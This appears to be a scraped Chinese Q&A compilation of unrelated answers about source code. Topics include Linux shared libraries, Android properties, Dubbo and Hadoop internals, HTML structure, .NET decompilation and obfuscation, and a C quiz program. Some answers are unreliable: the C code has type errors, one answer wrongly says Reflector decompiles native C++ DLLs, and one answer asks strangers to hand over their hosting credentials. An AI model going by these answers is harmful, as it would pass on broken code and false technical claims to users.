falseSccProjectFilePathRelativizedFromConnection1 = dibdb\SccProjectUniqueName2 = eeinfo\eeinfoclient.vbprojSccLocalPath2 = .CanCheckoutShared = falseSccProjectFilePathRelativizedFromConnection2 = eeinfo\SccProjectUniqueName3 = SccProjectName3 = u0022$/abcd/WebServiceu0022,u0020DAAAAAAASccLocalPath3 = WS\eeinfoCanCheckoutShared = falseSccProjectEnlistmentChoice3 = 2EndGlobalSectionOK了,现在环境对源码的管理功能已经没有了。

java小游戏源代码

随便找个网站都有下载源代码的.. www.j2megame.org www.j2me.com.cn

如何使用lame源代码在编译生成linux环境下的动态库

动态库的生成1>首先生成目标文件,但是此时要加编译器选项-fpic和链接器选项-shared,gcc -fpic -c add.cgcc -fpic -c sub.c生成中间文件add.o和sub.o2>其次生成动态库gcc -shared –o libtiger.so add.o sub.o生成动态库libtiger.so,libtiger.so就是我们生成的目标动态库。我们以后使用动态库和main.c程序生成可执行程序说明:以上两部也可以合成一步搞定:gcc -fpic -shared add.c sub.c -o libtiger.so2.使用动态链接库在编译程序时,使用动态链接库和静态库是一致的,使用”-l库名”的方式,在生成可执行文件的时候会链接库文件。1>使用命令:gcc -o main main.c -L ./ -ltiger2>-L指定动态链接库的路劲,-ldtiger链接库函数tiger。-ltiger是动态库的调用规则。Linux系统下的动态库命名方式是lib*.so,而在链接时表示位-l*,*是自己命名的库名。3>但是程序会提示如下错误error while loading shared libraries: libtiger.so: cannot open shared object file: No such file or direct这是因为程序运行时没有找到动态链接库造成的。程序编译时链接动态库和运行时使用动态链接库的概念是不同的,在运行时,程序链接的动态链接库需要在系统目录下才行。4>使用以下方法可以解决此问题a. 在linux下最方便的解决方案是拷贝libtiger.so到绝对目录 /lib 下(但是,要是超级用户才可以,因此要使用sudo哦,亲)。就可以生成可执行程序了b.第二种方法是:将动态链接库的目录放到程序搜索路径中,可以将库的路径加到环境变量LD_LIBRARY_PATH中实现:export LD_LIBRARY_PATH=`pwd`:$LD_LIBRARY_PATH

如何在android的源代码中添加persist属性

  SystemProperties与Settings.System    1 使用 SystemProperties.get  如果属性名称以“ro.”开头,那么这个属性被视为只读属性。一旦设置,属性值不能改变。  如果属性名称以“persist.”开头,当设置这个属性时,其值也将写入/data/property。    在c++中就是对应JAVA的两个函数就是property_set, property_get,其实JAVA是通过JNI调用这两个函数的。  JAVA代码如下:  import android.os.SystemProperties;  SystemProperties.set("persist.sys.language", zone.getID());  String lang= SystemProperties.get("persist.sys.language");  获取方法:  boolean fastfoodenable = SystemProperties.getBoolean("persist.sys.fastfoodenable", false);  设置方法:  SystemProperties.set("persist.sys.fastfoodenable", "true");    C  #include <cutils/properties.h>  property_set("persist.sys.language", "zh");  property_get("persist.sys.language", propLang, "en");  在adb shell可以通过以下的命名读取和修改  #getprop persist.sys.language  #setprop persist.sys.language zh    创建与修改android属性用Systemproperties.set(name, value),获取android属性用Systemproperties.get(name),需要注意的是android属性的名称是有一定的格式要求的,如下: 前缀必须用systemcoreinitproperty_service.c中定义的前缀 ,进行系统属性设置的程序也必须有system或root权限  如果我们要添加一个property:例如:silvan_liu  路径:system/core/rootdir/int.rc  在on post-fs-data 目录下  setprop persist.sys.silvan_liu 1//persist.sys 前缀名; 1为初始值  PS:不同前缀名权限不同,这里就不一一说明;还有为什么要加载on post-fs-data目录下,这和int.rc的语法有关        2 使用 Settings.System.putInt  这种方式会保存变量到Settings 数据库中,飞行模式等的开关就是用这种方式实现的。  首先需要定义一个系统属性值  路径:frameworks/base/core/java/android/provider/Settings.java  public static final String VIVIEN_FASTFOOD= "hungry";  1)获取方法如下:  @Override  public void onResume()  {  super.onResume();  if(Settings.System.getInt(getContentResolver(), Settings.System.VIVIEN_FASTFOOD,0)==1)  {  mYesORNo.setChecked(true);  }  else  mYesORNo.setChecked(false);  }  2)设置  if (mYesORNo.isChecked()) {  Settings.System.putInt(getContentResolver(),  Settings.System.VIVIEN_FASTFOOD, 1);  } else {  Settings.System.putInt(getContentResolver(),  Settings.System.VIVIEN_FASTFOOD, 0);  }    需要import android.provider.Settings;  android源码开发中,常常要用到一些全局标志或者说变量,这时候我们可以给android系统添加自己想要的属性。  1.Settings.system  这种系统属性我们经常用到,例如飞行模式的开启和关闭,我们就是去改变Settings.system.AIRPLANE_MODE_ON 的值。  下面就介绍下我们怎样去定义一个系统属性。例如要添加一个属性名为“SILVAN_LIU”  路径:frameworks/base/core/java/android/provider/Settings.java    public static final String SILVAN_LIU = "silvan_liu";  public static final String[] SETTINGS_TO_BACKUP ={  ~  +SILVAN_LIU  ~  }  这样添加后,你就是可以通过Settings.System.getInt(getContentResolver(), Settings.System.SILVAN_LIU,0) 和Settings.System.getInt(getContentResolver(), Settings.System.SILVAN_LIU,0)去得到和设定SILVAN_LIU的属性值。    2.SystemProperties  创建与修改android属性用Systemproperties.set(name, value),获取android属性用Systemproperties.get(name),需要注意的是android属性的名称是有一定的格式要求的,如下: 前缀必须用systemcoreinitproperty_service.c中定义的前缀 ,进行系统属性设置的程序也必须有system或root权限  如果我们要添加一个property:例如:silvan_liu  路径:system/core/rootdir/int.rc  在on post-fs-data 目录下  setprop persist.sys.silvan_liu 1//persist.sys 前缀名; 1为初始值  PS:不同前缀名权限不同,这里就不一一说明;还有为什么要加载on post-fs-data目录下,这和int.rc的语法有关。    以上是我实际项目中运用到的地方,可能认识的不够深刻,还需继续摸索。转载

dubbo源代码翻阅怎么解决

自定义的spring配置 基于sping 扩展schma 利用 DubboNamespaceHandler 实现对自定义schema的解析。见配置文件:spring.handlers spring.schemas 二,Consumer对于服务接口的透明调用 基于Javassist的动态代理模式,自动生成代理类。 通过InvokerInvocationHandler的invoker调用: return invoker.invoke(new RpcInvocation(method, args)).recreate(); invoker RPC通信,基于mina、netty等。 三,dubbo的扩展机制 实现方式类似sun的spi模式,实现自身的可扩展性。简单实现了接口的注入。 1,Extension 注解 value=组件的名字 具体实现见ExtensionLoader 2,主要方法: loadExtensionClasses 加载所有实现了META-INF/services目录下文件中的类,文件名为接口名。根据Extension注解的名字为key,CLASS为VALUE放到缓存的MAP中。 getAdaptiveExtension 利用代码生成创建一下接口的适配器类: Protocol Cluster ProxyFactory 等等 这个适配器类以Adaptive注解声明的值或者接口名为KEY,从URL中的参数或者URL getProtocol() 作为key的值, 然后ExtensionLoader.getExtensionLoader(Protocol.class).getExtension(key ) 获得

如何更好地学习dubbo源代码

一、Dubbo整体架构1、Dubbo与Spring的整合Dubbo在使用上可以做到非常简单,不管是Provider还是Consumer都可以通过Spring的配置文件进行配置,配置完之后,就可以像使用spring bean一样进行服务暴露和调用了,完全看不到dubbo api的存在。这是因为dubbo使用了spring提供的可扩展Schema自定义配置支持。在spring配置文件中,可以像、这样进行配置。META-INF下的spring.handlers文件中指定了dubbo的xml解析类:DubboNamespaceHandler。像前面的被解析成ServiceConfig,被解析成ReferenceConfig等等。 2、jdk spi扩展由于Dubbo是开源框架,必须要提供很多的可扩展点。Dubbo是通过扩展jdk spi机制来实现可扩展的。具体来说,就是在META-INF目录下,放置文件名为接口全称,文件中为key、value键值对,value为具体实现类的全类名,key为标志值。由于dubbo使用了url总线的设计,即很多参数通过URL对象来传递,在实际中,具体要用到哪个值,可以通过url中的参数值来指定。 Dubbo对spi的扩展是通过ExtensionLoader来实现的,查看ExtensionLoader的源码,可以看到Dubbo对jdk spi做了三个方面的扩展: (1)jdk spi仅仅通过接口类名获取所有实现,而ExtensionLoader则通过接口类名和key值获取一个实现;(2)Adaptive实现,就是生成一个代理类,这样就可以根据实际调用时的一些参数动态决定要调用的类了。 (3)自动包装实现,这种实现的类一般是自动激活的,常用于包装类,比如Protocol的两个实现类:ProtocolFilterWrapper、ProtocolListenerWrapper。 3、url总线设计Dubbo为了使得各层解耦,采用了url总线的设计。我们通常的设计会把层与层之间的交互参数做成Model,这样层与层之间沟通成本比较大,扩展起来也比较麻烦。因此,Dubbo把各层之间的通信都采用url的形式。比如,注册中心启动时,参数的url为: registry://0.0.0.0:9090?codec=registry&transporter=netty 这就表示当前是注册中心,绑定到所有ip,端口是9090,解析器类型是registry,使用的底层网络通信框架是netty。 二、Dubbo启动过程Dubbo分为注册中心、服务提供者(provider)、服务消费者(consumer)三个部分。 1、注册中心启动过程注册中心的启动过程,主要看两个类:RegistrySynchronizer、RegistryReceiver,两个类的初始化方法都是start。 RegistrySynchronizer的start方法: (1)把所有配置信息load到内存;(2)把当前注册中心信息保存到数据库; (3)启动5个定时器。 5个定时器的功能是: (1)AutoRedirectTask,自动重定向定时器。默认1小时运行1次。如果当前注册中心的连接数高于平均值的1.2倍,则将多出来的连接数重定向到其他注册中心上,以达到注册中心集群的连接数均衡。 (2)DirtyCheckTask,脏数据检查定时器。作用是:分别检查缓存provider、数据库provider、缓存consumer、数据库consumer的数据,清除脏数据;清理不存活的provider和consumer数据;对于缓存中的存在的provider或consumer而数据库不存在,重新注册和订阅。 (3)ChangedClearTask,changes变更表的定时清理任务。作用是读取changes表,清除过期数据。 (4)AlivedCheckTask,注册中心存活状态定时检查,会定时更新registries表的expire字段,用以判断注册中心的存活状态。如果有新的注册中心,发送同步消息,将当前所有注册中心的地址通知到所有客户端。 (5)ChangedCheckTask,变更检查定时器。检查changes表的变更,检查类型包括:参数覆盖变更、路由变更、服务消费者变更、权重变更、负载均衡变更。 RegistryReceiver的start方法:启动注册中心服务。默认使用netty框架,绑定本机的9090端口。最后启动服务的过程是在NettyServer来完成的。接收消息时,抛开dubbo协议的解码器,调用类的顺序是 NettyHandler-》NettyServer-》MultiMessageHandler-》HeartbeatHandler-》AllDispatcher-》DecodeHandler-》HeaderExchangeHandler-》RegistryReceiver-》RegistryValidator-》RegistryFailover-》RegistryExecutor。2、provider启动过程provider的启动过程是从ServiceConfig的export方法开始进行的,具体步骤是: (1)进行本地jvm的暴露,不开放任何端口,以提供injvm这种形式的调用,这种调用只是本地调用,不涉及进程间通信。 (2)调用RegistryProtocol的export。 (3)调用DubboProtocol的export,默认开启20880端口,用以提供接收consumer的远程调用服务。 (4)通过新建RemoteRegistry来建立与注册中心的连接。 (5)将服务地址注册到注册中心。 (6)去注册中心订阅自己的服务。 3、consumer启动过程consumer的启动过程是通过ReferenceConfig的get方法进行的,具体步骤是: (1)通过新建RemoteRegistry来建立与注册中心的连接。 (2)新建RegistryDirectory并向注册中心订阅服务,RegistryDirectory用以维护注册中心获取的服务相关信息。 (3)创建代理类,发起consumer远程调用时,实际调用的是InvokerInvocationHandler。 三、实际调用过程consumer端发起调用时,实际调用经过的类是: 1、consumer: InvokerInvocationHandler-》MockClusterInvoker(如果配置了Mock,则直接调用本地Mock类)-》FailoverClusterInvoker(负载均衡,容错机制,默认在发生错误的情况下,进行两次重试)-》RegistryDirectory$InvokerDelegete-》ConsumerContextFilter-》FutureFilter->DubboInvoker NettyServer-》MultiMessageHandler-》HeartbeatHandler-》AllDispatcher-》DecodeHandler-》HeaderExchangeHandler-》DubboProtocol.requestHandler-》EchoFilter-》ClassLoaderFilter-》GenericFilter-》ContextFilter-》ExceptionFilter-》TimeoutFilter-》MonitorFilter-》TraceFilter-》实际service。四、Dubbo使用的设计模式1、工厂模式ServiceConfig中有个字段,代码是这样的: private static final Protocol protocol = ExtensionLoader.getExtensionLoader(Protocol.class).getAdaptiveExtension();Dubbo里有很多这种代码。这也是一种工厂模式,只是实现类的获取采用了jdk spi的机制。这么实现的优点是可扩展性强,想要扩展实现,只需要在classpath下增加个文件就可以了,代码零侵入。另外,像上面的Adaptive实现,可以做到调用时动态决定调用哪个实现,但是由于这种实现采用了动态代理,会造成代码调试比较麻烦,需要分析出实际调用的实现类。 2、装饰器模式Dubbo在启动和调用阶段都大量使用了装饰器模式。以Provider提供的调用链为例,具体的调用链代码是在ProtocolFilterWrapper的buildInvokerChain完成的,具体是将注解中含有group=provider的Filter实现,按照order排序,最后的调用顺序是 EchoFilter-》ClassLoaderFilter-》GenericFilter-》ContextFilter-》ExceptionFilter-》TimeoutFilter-》MonitorFilter-》TraceFilter。更确切地说,这里是装饰器和责任链模式的混合使用。例如,EchoFilter的作用是判断是否是回声测试请求,是的话直接返回内容,这是一种责任链的体现。而像ClassLoaderFilter则只是在主功能上添加了功能,更改当前线程的ClassLoader,这是典型的装饰器模式。 3、观察者模式Dubbo的provider启动时,需要与注册中心交互,先注册自己的服务,再订阅自己的服务,订阅时,采用了观察者模式,开启一个listener。注册中心会每5秒定时检查是否有服务更新,如果有更新,向该服务的提供者发送一个notify消息,provider接受到notify消息后,即运行NotifyListener的notify方法,执行监听器方法。 4、动态代理模式Dubbo扩展jdk spi的类ExtensionLoader的Adaptive实现是典型的动态代理实现。Dubbo需要灵活地控制实现类,即在调用阶段动态地根据参数决定调用哪个实现类,所以采用先生成代理类的方法,能够做到灵活的调用。生成代理类的代码是ExtensionLoader的createAdaptiveExtensionClassCode方法。代理类的主要逻辑是,获取URL参数中指定参数的值作为获取实现类的key。

如何更好地学习dubbo源代码

1、Dubbo与Spring的整合 Dubbo在使用上可以做到非常简单,不管是Provider还是Consumer都可以通过Spring的配置文件进行配置,配置完之后,就可以像使用 spring bean一样进行服务暴露和调用了,完全看不到dubbo api的存在。这是因为dubbo使用了spring提供的可扩展Schema自定义配置支持。在spring配置文件中,可以像、这样进行配置。 META-INF下的spring.handlers文件中指定了dubbo的xml解析类:DubboNamespaceHandler。像前面的被解 析成ServiceConfig,被解析成ReferenceConfig等等。 2、jdk spi扩展 由于Dubbo是开源框架,必须要提供很多的可扩展点。Dubbo是通过扩展jdk spi机制来实现可扩展的。具体来说,就是在META-INF目录下,放置文件名为接口全称,文件中为key、value键值对,value为具体实现类 的全类名,key为标志值。由于dubbo使用了url总线的设计,即很多参数通过URL对象来传递,在实际中,具体要用到哪个值,可以通过url中的参 数值来指定。 Dubbo对spi的扩展是通过ExtensionLoader来实现的,查看ExtensionLoader的源码,可以看到Dubbo对jdk spi做了三个方面的扩展:(1)jdk spi仅仅通过接口类名获取所有实现,而ExtensionLoader则通过接口类名和key值获取一个实现;(2)Adaptive实现,就是生成一个代理类,这样就可以根据实际调用时的一些参数动态决定要调用的类了。(3)自动包装实现,这种实现的类一般是自动激活的,常用于包装类,比如Protocol的两个实现类:ProtocolFilterWrapper、ProtocolListenerWrapper。 3、url总线设计 Dubbo为了使得各层解耦,采用了url总线的设计。我们通常的设计会把层与层之间的交互参数做成Model,这样层与层之间沟通成本比较大,扩展起来也比较麻烦。因此,Dubbo把各层之间的通信都采用url的形式。比如,注册中心启动时,参数的url为: registry://0.0.0.0:9090?codec=registry&transporter=netty 这就表示当前是注册中心,绑定到所有ip,端口是9090,解析器类型是registry,使用的底层网络通信框架是netty。 二、Dubbo启动过程Dubbo分为注册中心、服务提供者(provider)、服务消费者(consumer)三个部分。 1、注册中心启动过程 注册中心的启动过程,主要看两个类:RegistrySynchronizer、RegistryReceiver,两个类的初始化方法都是start。 RegistrySynchronizer的start方法:(1)把所有配置信息load到内存;(2)把当前注册中心信息保存到数据库;(3)启动5个定时器。 5个定时器的功能是: (1)AutoRedirectTask,自动重定向定时器。默认1小时运行1次。如果当前注册中心的连接数高于平均值的1.2倍,则将多出来的连接数重定向到其他注册中心上,以达到注册中心集群的连接数均衡。 (2)DirtyCheckTask,脏数据检查定时器。作用是:分别检查缓存provider、数据库provider、缓存consumer、数据库 consumer的数据,清除脏数据;清理不存活的provider和consumer数据;对于缓存中的存在的provider或consumer而数 据库不存在,重新注册和订阅。 (3)ChangedClearTask,changes变更表的定时清理任务。作用是读取changes表,清除过期数据。 (4)AlivedCheckTask,注册中心存活状态定时检查,会定时更新registries表的expire字段,用以判断注册中心的存活状态。如果有新的注册中心,发送同步消息,将当前所有注册中心的地址通知到所有客户端。 (5)ChangedCheckTask,变更检查定时器。检查changes表的变更,检查类型包括:参数覆盖变更、路由变更、服务消费者变更、权重变更、负载均衡变更。

CAD lisp中,是否可以获取自己所在的lisp源代码文件的当前所在路径名?

(setq version_path (vlax-product-key)) (setq software_name (vla-get-activeprofile (vla-get-profiles (vla-get-preferences (vlax-get-acad-object ))))) (setq lsp_path (vl-registry-read (strcat "HKEY_CURRENT_USER\" version_path "\Profiles\" software_name "\Dialogs\Appload") "MainDialog"))

英雄联盟源代码娜美皮肤在哪里领

  1、英雄联盟源代码娜美皮肤官网领取地址:https://lol.qq.com/act/a20181207nami/index.html。   2、点击官网领取地址,登录账号,选择大区,然后点击领取即可。   3、单个QQ限1个大区角色领取,皮肤发送到登录本页面绑定的大区角色。   4、领取条件:在领取之日的前30天内该大区角色有登陆游戏客户端。   5、源代码娜美皮肤将不会销售。   6、领取截止时间:2019年12月31日23:59。

如何高效的阅读hadoop源代码

个人谈谈阅读hadoop源代码的经验。首先,不得不说,hadoop发展到现在这个阶段,代码已经变得非常庞大臃肿,如果你直接阅读最新版本的源代码,难度比较大,需要足够的耐心和时间,所以,如果你觉得认真一次,认真阅读一次hadoop源代码,一定要有足够的心理准备和时间预期。其次,需要注意,阅读Hadoop源代码的效率,因人而异,如果你有足够的分布式系统知识储备,看过类似的系统,则能够很快地读它的源代码进行通读,并快速切入你最关注的局部细节,比如你之前看过某个分布式数据库的源代码,对分布式系统的网络通信模块,调度模块等有一定了解,这对阅读hadoop源代码有极大帮助;如果你是一个初学者,对hadoop一无所知,只了解一些java语法,那阅读hadoop源代码是极具挑战的一件事情,尤其是从无到开始入门的过程,是极度煎熬和困惑的,这时候需要你在阅读代码过程中,不断补充缺乏的相关知识(比如RPC,NIO,设计模式等),循序渐进,直到入门。接下来进入主题,说一下阅读源代码的个人经验。由于我也是从无到入门,再到修改源代码,逐步过渡的,所以,对于很多人而言,具有借鉴意义。============第一个阶段:学习hadoop基本使用和基本原理,从应用角度对hadoop进行了解和学习这是第一个阶段,你开始尝试使用hadoop,从应用层面,对hadoop有一定了解,比如你可以使用hadoop shell对hdfs进行操作,使用hdfs API编写一些程序上传,下载文件;使用MapReduce API编写一个数据处理程序。一旦你对hadoop的基本使用方法比较熟悉了,接下来可以尝试了解它的内部原理,注意,不需要通过阅读源代码了解内部原理,只需看一些博客,书籍,比如《Hadoop权威指南》,对于HDFS而言,你应该知道它的基本架构以及各个模块的功能;对于MapReduce而言,你应该知道其具体的工作流程,知道partition,shuffle,sort等工作原理,可以自己在纸上完整个画完mapreduce的流程,越详细越好。在这个阶段,建议你多看一些知名博客,多读读《hadoop权威指南》(可选择性看相关的几章)。如果你有实际项目驱动,那是再好不过了,理论联系实际是最好的hadoop学习方法;如果你没有项目驱动,那建议你不要自己一个人闷头学,多跟别人交流,多主动给别人讲讲,最好的学习方式还是“讲给别人听”。============第二个阶段:从无到入门,开始阅读hadoop源代码这个阶段是最困苦和漫长的,尤其对于那些没有任何分布式经验的人。 很多人这个阶段没有走完,就放弃了,最后停留在hadoop应用层面。这个阶段,第一件要做的事情是,选择一个hadoop组件。如果你对分布式存储感兴趣,那么你可以选择HDFS,如果你读分布式计算感兴趣,你可以选择MapReduce,如果你对资源管理系统感兴趣,你可以选择YARN。选择好系统后,接下来的经历是最困苦的。当你把hadoop源代码导入eclipse或intellij idea,沏上一杯茶,开始准备优哉游哉地看hadoop源代码时,你懵逼了:你展开那数不尽的package和class,觉得无从下手,好不容易找到了入口点,然后你屁颠屁颠地通过eclipse的查找引用功能,顺着类的调用关系一层层找下去,最后迷失在了代码的海洋中,如同你在不尽的压栈,最后栈溢出了,你忘记在最初的位置。很多人经历过上面的过程,最后没有顺利逃出来,而放弃。如果你正在经历这个过程,我的经验如下:首先,你要摸清hadoop的代码模块,知道client,master,slave各自对应的模块(hadoop中核心系统都是master/slave架构,非常类似),并在阅读源代码过程中,时刻谨记你当前阅读的代码属于哪一个模块,会在哪个组件中执行;之后你需要摸清各个组件的交互协议,也就是分布式中的RPC,这是hadoop自己实现的,你需要对hadoop RPC的使用方式有所了解,然后看各模块间的RPC protocol,到此,你把握了系统的骨架,这是接下来阅读源代码的基础;接着,你要选择一个模块开始阅读,我一般会选择Client,这个模块相对简单些,会给自己增加信心,为了在阅读代码过程中,不至于迷失自己,建议在纸上画出类的调用关系,边看边画,我记得我阅读hadoop源代码时,花了一叠纸。注意,看源代码过程中,很容易烦躁不安,建议经常起来走走,不要把自己逼得太紧。在这个阶段,建议大家多看一些源代码分析博客和书籍,比如《Hadoop技术内幕》系列丛书(轩相关网站:Hadoop技术内幕)就是最好的参考资料。借助这些博客和书籍,你可以在前人的帮助下,更快地学习hadoop源代码,节省大量时间,注意,目前博客和书籍很多,建议大家广泛收集资料,找出最适合自己的参考资料。这个阶段最终达到的目的,是对hadoop源代码整体架构和局部的很多细节,有了一定的了解。比如你知道MapReduce Scheduler是怎样实现的,MapReduce shuffle过程中,map端做了哪些事情,reduce端做了哪些事情,是如何实现的,等等。这个阶段完成后,当你遇到问题或者困惑点时,可以迅速地在Hadoop源代码中定位相关的类和具体的函数,通过阅读源代码解决问题,这时候,hadoop源代码变成了你解决问题的参考书。============第三个阶段:根据需求,修改源代码。这个阶段,是验证你阅读源代码成效的时候。你根据leader给你的需求,修改相关代码完成功能模块的开发。在修改源代码过程中,你发现之前阅读源代码仍过于粗糙,这时候你再进一步深入阅读相关代码,弥补第二个阶段中薄弱的部分。当然,很多人不需要经历第三个阶段,仅仅第二阶段就够了:一来能够通过阅读代码解决自己长久以来的技术困惑,满足自己的好奇心,二来从根源上解决解决自己遇到的各种问题。 这个阶段,没有太多的参考书籍或者博客,多跟周围的同事交流,通过代码review和测试,证明自己的正确性。============阅读hadoop源代码的目的不一定非是工作的需要,你可以把他看成一种修养,通过阅读hadoop源代码,加深自己对分布式系统的理解,培养自己踏实做事的心态。

谁知道通达信函数tan与slope的区别?源代码计算原理如何?

SLOPE 线性回归斜率SLOPE(X,N)  返回线性回归斜率。

谁知道通达信函数tan与slope的区别?源代码计算原理如何?

tan是一个角的正切值。而slope是线性回归的斜率,即y=ax+b中的a。在若干个自变量X与其对应的因变量Y值,通过计算出其近似的y=ax+b关系。==================补充:请参阅:百度百科——回归分析法http://baike.baidu.com/view/540285.htm#sub540285

中分,紧急求个200行左右的C语言源代码!

下面这个程序是我做课程报告的时候写的。你如果也是为了那个的话我那儿还有一份完整的C语言课程实验设计报告。#include<stdio.h>#include <stdlib.h>void main(){void result(int x,int y); /* 声明result函数 */int i,j,num1,num2,r,n=0; /* 定义变量 */char p; randomize(); /* 初始化随机函数发生器 */clrscr(); /* 清屏函数 */printf(" hello,boys and girls.welcome to here! "); /* 打印欢迎词 */for(n=0;n<20;n++)printf("* "); /* 输出20个* */n=0;printf(" please choice :+ , - , * , / "); /* 提示用户输入选择练习类型 */scanf("%c",&p);switch(p) /* 多分支选择语句 */{case "+": /* 选择+的情况 */{printf(" plese enter the times you want to do "); /* 提示用户选择练习次数 */scanf("%d",&i); /* 输入练习次数 */for(j=1;j<=i;j++) /* 控制练习的循环次数 */{num1=random(100);num2=random(100); /* 随机生成两个100以内的数 */printf(" %d+%d= ",num1,num2); /* 打印练习的题目 */scanf("%d",&r); /* 接受用户输入的答案 */if(r==num1+num2) /* 判断答案是否正确 */{printf(" good!your answer is right! Come on baby !!! ");n++;} elseprintf(" sorry,the rignt result is %d ",num1+num2);/* 答案正确,给出提示 */} printf(" the rignt total is %d ",n); /* 答案错误时给出正确答案 */result(n,i); /* 调用函数,输出练习成绩 */} break;case "-": /* 选择-的情况 */{printf(" plese enter the times you want to do "); /* 提示用户选择练习次数 */scanf("%d",&i); /* 输入练习次数 */for(j=1;j<=i;j++) /* 控制练习的循环次数 */{num1=random(20); /* 生成减法运算的数据 */num2=random(50)+num1;printf("%d-%d= ",num2,num1); /* 打印练习的题目 */scanf("%d",&r); /* 接受用户输入的答案 */if(r==num2-num1) /* 判断答案是否正确 */{printf(" good!your answer is right! Come on baby !!! "); /* 答案正确,给出提示 */n++;} elseprintf(" sorry,the rignt result is %d ",num2-num1);} printf(" the rignt total is %d ",n); /* 答案错误时给出正确答案 */result(n,i); /* 调用函数,输出练习成绩 */} break;case "*": /* 选择*的情况 */{printf(" plese enter the times you want to do ");/* 提示用户选择练习次数 */scanf("%d",&i); /* 输入练习次数 */for(j=1;j<=i;j++) /* 控制练习的循环次数 */{num1=random(20);num2=random(20);printf("%d*%d= ",num1,num2); /* 打印练习的题目 */scanf("%d",&r); /* 接受用户输入的答案 */if(r==num1*num2) /* 判断答案是否正确 */{printf(" good!your answer is right! Come on baby !!! "); /* 答案正确,给出提示 */n++;} elseprintf(" sorry,the rignt result is %d ",num1*num2);} printf(" the rignt total is %d ",n); /* 答案错误时给出正确答案 */result(n,i); /* 调用函数,输出练习成绩 */} break;case "/": /* 选择/的情况 */{printf(" plese enter the times you want to do ");/* 提示用户选择练习次数 */scanf("%d",&i); /* 输入练习次数 */for(j=1;j<=i;j++) /* 控制练习的循环次数 */{num1=random(20);num2=random(10)*num1;printf("%d/%d= ",num2,num1); /* 打印练习的题目 */scanf("%d",&r); /* 接受用户输入的答案 */if(r==num2/num1) /* 判断答案是否正确 */{printf(" good!your answer is right! Come on baby !!! ");n++;} elseprintf(" sorry,the rignt result is %d ",num2/num1); /* 答案正确,给出提示 */} printf(" the rignt total is %d ",n); /* 答案错误时给出正确答案 */result(n,i); /* 调用函数,输出练习成绩 */} break;}}void result(int x,int y) /* 定义成绩输出函数 */{float a;int m;a=(float)x/(float)y; /* 将形参转化为float形,并求商 */if(a>=0.8) printf("very good! "); /* a>=0.8输出very good! */ if(a>=0.6&&a<0.8) printf("good! "); /* 0.6<=a<0.8输出good! */ if(a<0.6) printf("oh,come on baby "); /* a<0.6输出oh,come on baby */ for(m=0;m<20;m++) printf("* "); /* 输出* */ }

哪里有OpenOffice的源代码啊?

我觉得你到oracle 网站上去溜达溜达,或许能找到吧

网页源代码的基本结构是什么

如图:1.无论是动态还是静态页面都是以“<html>”开始,然后在网页最后以“</html>”结尾。2.<head>”页头其在<head></head>中的内容是在浏览器中内容无法显示的,这里是给服务器、浏览器、链接外部JS、a链接CSS样式等区域,而里面“<title></title>”中放置的是网页标题。3.“<meta name="keywords" content="关键字" /> <meta name="description" content="本页描述或关键字描述" /> ”这两个标签里的内容是给搜索引擎看的说明本页关键字及本张网页的主要内容等SEO可以用到。4."<body></body> "也就是常说的body区 ,这里放置的内容就可以通过浏览器呈现给用户,其内容可以是table表格布局格式内容,也可以DIV布局的内容,也可以直接是文字。这里也是最主要区域,网页的内容呈现区。5.最后是以"</html> "结尾,也就是网页闭合。以上是一个完整的最简单的html语言基本结构,通过以上可以再增加更多的样式和内容充实网页。扩展资料:标签详解:1.<!doctype>:是声明用哪个 HTML 版本进行编写的指令。并不是 HTML 标签。<!doctype html>:html5网页声明,表示网页采用html5。2.<meta>:提供有关页面的元信息(针对搜索引擎和更新频度的描述和关键词等),写在<head>标签内。a)<meta charset="UTF-8">:设置页面的编码格式UTF-8;b)<meta name="Generator" content="EditPlus">:说明生成工具为EditPlus;c)<meta name="Author" content="">:告诉搜索引擎站点制作的作者;d)<meta name="Keywords" content="">:告诉搜索引擎网站的关键字;e)<meta name="Description" content="">:告诉搜索引擎网站的内容;参考资料:html代码-百度百科

用.net reflector把C#/Basic编的.exe得到源代码,修改部分代码后,如何在重新编译成新的.exe程序

用vs打开项目,修改代码,右键项目重新编译,然后在项目文件夹/bin/debug下得到新的.exe

问一下高手 c++dll文件如何反编译 看源代码啊????

c++dll文件反编译源代码的操作步骤如下:1、在开始菜单内找到Reflector工具。2、打开Reflector点击【File】-->【OpenAssembly...】在打开的对话框内选择要反编译的DLL文件。3、打开DLL成功后,会在左侧的最下方看到反编译DLL文件。4、点击展开该DLL文件就可以看到样关的类,以及类反编译后的代码,这样问题就解决了

用了de4dot和Reflector这两个神器,maxtocode对c#源代码的保护就失效了,该怎么办?

所谓的加壳.DLL入口位移就是为了这个哦如果您想了解详情.就百度一下.很多工具的.加壳或者位移以后..就用不成拉MaxtoCode.VMProtect等等..这个只是举例说明啦..还有非常多非常多的同类软件.至于适合用什么.您可能得根据您的情况来选择.我这里不作任何推荐.总之.具体操作就是~ 1.项目中,增加强签名。具体操作方法:右键单击项目,选择属性,找到签名选项卡,新建签名文件,输入密码即可。 2.项目发布以后,对dll、exe文件进行混淆,混淆工具:Dotfuscator Professional Edition 4.2,如果是混淆web项目,请排除web项目文件的重命名功能。免得aspx文件无法引用dll程序集。同理HttpModule一类的引用也要注意。 3.另外如果还不放心,可以对混淆过的文件进行加壳。加壳工具:MaxtoCode.Professional.2007.v3.21-Lz0.rar通过以上三层保护,应该可以对付一般的破解菜鸟了。

head first java第二版书上的源代码下载链接

https://github.com/bethrobson/Head-First-Java/tree/master/chap02

求head first c# lab2 the Quest实验的源代码

http://blog.csdn.net/sk_cq/article/details/8875180这人的blog有,不过他有小改动(刚好把我有疑问的代码改了...)

从网上下载了一个源代码做网站,找不到哪个文件是修改主页地址修改域名的,请教高手指导如何改源码改域名

把源码发给我,我帮你修改,请把你要修改的地方及内容一起发到我的邮箱,修改好后我再发给你,或把你的空间信息给我,修改好后直接为你上传上去,我的邮箱google.2008.ok@qq.com

使用python语言如何保密源代码以防止逆向工程?

